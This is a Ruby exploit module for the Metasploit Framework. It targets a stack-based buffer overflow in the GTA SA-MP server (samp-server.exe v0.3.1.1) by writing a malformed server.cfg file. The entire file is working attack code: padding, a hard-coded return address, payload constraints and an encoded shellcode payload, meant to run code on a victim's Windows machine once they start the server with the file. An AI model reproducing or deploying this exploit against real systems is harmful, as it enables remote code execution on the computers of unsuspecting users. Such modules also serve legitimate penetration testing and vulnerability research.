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## # $Id: gta_samp.rb 14076 2011-10-26 22:16:26Z mc $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'GTA SA-MP server.cfg Buffer Overflow', 'Description'=> %q{ This module exploits a stack-based buffer overflow in GTA SA-MP Server. This buffer overflow occurs when the application attempts to open a malformed server.cfg file.To exploit this vulnerability, an attacker must send the victim a server.cfg file and have them run samp-server.exe. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Silent_Dream',# Original discovery, MSF Module, template by mona.py ], 'Version'=> '$Revision: 14076 $', 'References' => [ [ 'URL', 'http://www.exploit-db.com/exploits/17893' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Platform' => 'win', 'Payload'=> { 'BadChars' => "\x0d\x0a\x1a", 'Space'=> 392, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", 'DisableNops'=> true, 'MaxSize'=> 392, }, 'Targets'=> [ [ 'GTA SA-MP (samp-server) v0.3.1.1', { 'Ret' => 0x00429faa, # PUSH ESP; RET (samp-server.exe) } ], ], 'Privileged' => false, 'DisclosureDate' => 'Sep 18 2011', 'DefaultTarget'=> 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'server.cfg']) ], self.class) end def exploit buffer = "echo " buffer << rand_text_alpha_upper(379) buffer << [target.ret].pack('V') buffer << payload.encoded file_create(buffer) end end |
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